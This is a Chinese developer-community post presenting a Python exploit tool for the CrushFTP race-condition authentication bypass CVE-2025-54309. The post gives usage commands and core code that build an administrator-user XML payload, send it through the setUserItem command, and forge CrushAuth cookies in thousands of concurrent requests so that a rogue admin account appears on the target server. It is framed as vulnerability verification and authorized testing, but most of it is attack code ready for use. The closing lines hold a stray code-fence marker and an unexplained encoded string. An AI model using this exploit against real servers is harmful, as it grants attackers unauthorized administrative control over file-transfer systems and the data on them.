首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CrushFTP 条件竞争认证绕过漏洞利用工具 (CVE-2025-54309)

CrushFTP 条件竞争认证绕过漏洞利用工具 (CVE-2025-54309)

原创
作者头像
qife122
发布2026-03-04 18:38:46
发布2026-03-04 18:38:46
1370
举报

CrushFTP CVE-2025-54309 条件竞争认证绕过利用工具

本项目是一个针对 CrushFTP 服务器认证绕过漏洞 (CVE-2025-54309) 的高效、可扩展的 Python 利用工具。基于公开的 WatchTowr 研究成果开发,该工具通过条件竞争(Race Condition)在目标服务器上创建新的管理员账户,帮助安全研究人员快速验证漏洞的存在。

功能特性

  • ⚡ 条件竞争利用:核心功能通过发送高并发请求触发漏洞,绕过认证机制。
  • 👤 自定义账户创建:允许用户在利用成功后指定新管理员账户的用户名和密码。
  • 📈 并发请求控制:支持设置发送的请求对数量(默认5000次),以适应不同的网络环境和目标服务器性能。
  • 📦 简洁的Payload设计:内置创建管理员用户所需的完整XML数据包,结构清晰。
  • 🔧 易于扩展:代码结构模块化,预留了 -P/--payload 参数,方便未来增加其他类型的Payload。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests

安装步骤

  1. 克隆或下载项目代码:git clone https://github.com/your-repo/CVE-2025-54309-crushftp.git cd CVE-2025-54309-crushftp
  2. 安装依赖: 项目依赖 requests 库,可以使用 pip 进行安装:pip install requests

使用说明

基础使用示例

运行脚本需要指定目标 CrushFTP 服务器的 URL。

代码语言:bash
复制
python crushedftp.py http://target.crushftp.com

该命令会使用默认的 username:password (默认为 meow:meow!) 和 5000 个请求对尝试利用漏洞。

高级选项

你可以通过命令行参数自定义利用过程:

代码语言:bash
复制
python crushedftp.py -u admin -p P@ssw0rd -r 8000 http://target.crushftp.com
  • -u, --username:设置要创建的管理员用户名(例如 admin)。
  • -p, --password:设置要创建的管理员密码(例如 P@ssw0rd)。
  • -r, --requests:设置发送的请求对数量(例如 8000)。

典型使用场景

  1. 漏洞验证:对疑似存在漏洞的 CrushFTP 服务器进行验证。使用较低并发数(如1000)和随机账户名,观察是否成功创建用户。
  2. 渗透测试:在授权测试中,通过此工具获取服务器管理权限。可适当提高并发数(如5000-10000)以提高成功率。
  3. 安全研究:分析漏洞触发机制,调整 C2F_K_VALUETIMESTAMP_VALUE 等参数,研究Cookie生成逻辑。

API概览

脚本核心逻辑围绕几个主要函数展开:

  • create_user_xml(username, password):生成包含新用户信息的完整 XML 字符串。
  • create_user_payload(c2f_cookie, username, password):构建用于 setUserItem 命令的 POST 数据字典。
  • new_c2f_cookie():生成一个带有随机值的 CrushAuth Cookie。
  • 主函数 exploit(target, username, password, num_requests):执行条件竞争攻击,发送大量并发请求。

核心代码

1. 用户创建 XML 生成器

此函数构建了创建管理员账户所需的核心 XML 结构,包含用户名、密码、站点权限((CONNECT)(WEB_ADMIN))等关键属性。

代码语言:python
复制
def create_user_xml(username='', password='') -> str:
        # 生成当前时间戳字符串,用于日志记录
        current_time = time.strftime('%m/%d/%Y %I:%M:%S %p')
        # 返回格式化的用户XML,包含管理权限
        return  f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{current_time}</last_logins>
<password>{password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{username}</username>
</user>'''

2. 漏洞利用Payload构造

该函数将用户 XML 与必要的虚拟文件系统(VFS)和权限 XML 组合,形成最终发送给 /WebInterface/function/ 端点的完整数据包。c2f 参数取自 Cookie,用于绕过部分验证。

代码语言:python
复制
def create_user_payload(c2f_cookie='', username='', password='' ):
    # 生成用户数据的XML
    user_xml = create_user_xml(username, password)
    # 返回POST数据字典,包含所有必要字段
    return {
            "command": "setUserItem",
            "data_action": "new", 
            "serverGroup": "MainUsers",
            "username": username,
            "user": user_xml,
            "xmlItem": "user",
            "vfs_items": VFS_XML,        # 预定义的VFS XML
            "permissions": PERMISSIONS_XML, # 预定义的权限XML
            "c2f": c2f_cookie.split('=')[-1] # 提取Cookie值
        }

3. 随机Cookie生成

为了在条件竞争中产生大量有效的请求,工具会生成随机的 CrushAuth Cookie。Cookie 的结构模仿了 CrushFTP 的认证格式,包含时间戳和随机字符。

代码语言:python
复制
def new_c2f_cookie():
    # 生成C2F部分的随机字符串,长度由C2F_K_VALUE控制
    c2f = gen_random(C2F_K_VALUE)
    # 获取当前时间的毫秒级时间戳
    timestamp = int(time.time() * 1000)
    # 生成时间戳后缀部分的随机字符串
    suffix = gen_random(TIMESTAMP_VALUE)
    # 组装成完整的CrushAuth Cookie值
    # 格式: CrushAuth={timestamp}_{suffix}{c2f}
    return f"CrushAuth={timestamp}_{suffix}{c2f};cu"
```FINISHED
代码语言:txt
复制

6HFtX5dABrKlqXeO5PUv/wh60lxkqLqgJWwiJJzRiDkG8rrTOoUE57jc/9Qgxvpk

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CrushFTP CVE-2025-54309 条件竞争认证绕过利用工具
    • 功能特性
    • 安装指南
      • 系统要求
      • 安装步骤
    • 使用说明
      • 基础使用示例
      • 高级选项
      • 典型使用场景
      • API概览
    • 核心代码
      • 1. 用户创建 XML 生成器
      • 2. 漏洞利用Payload构造
      • 3. 随机Cookie生成
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档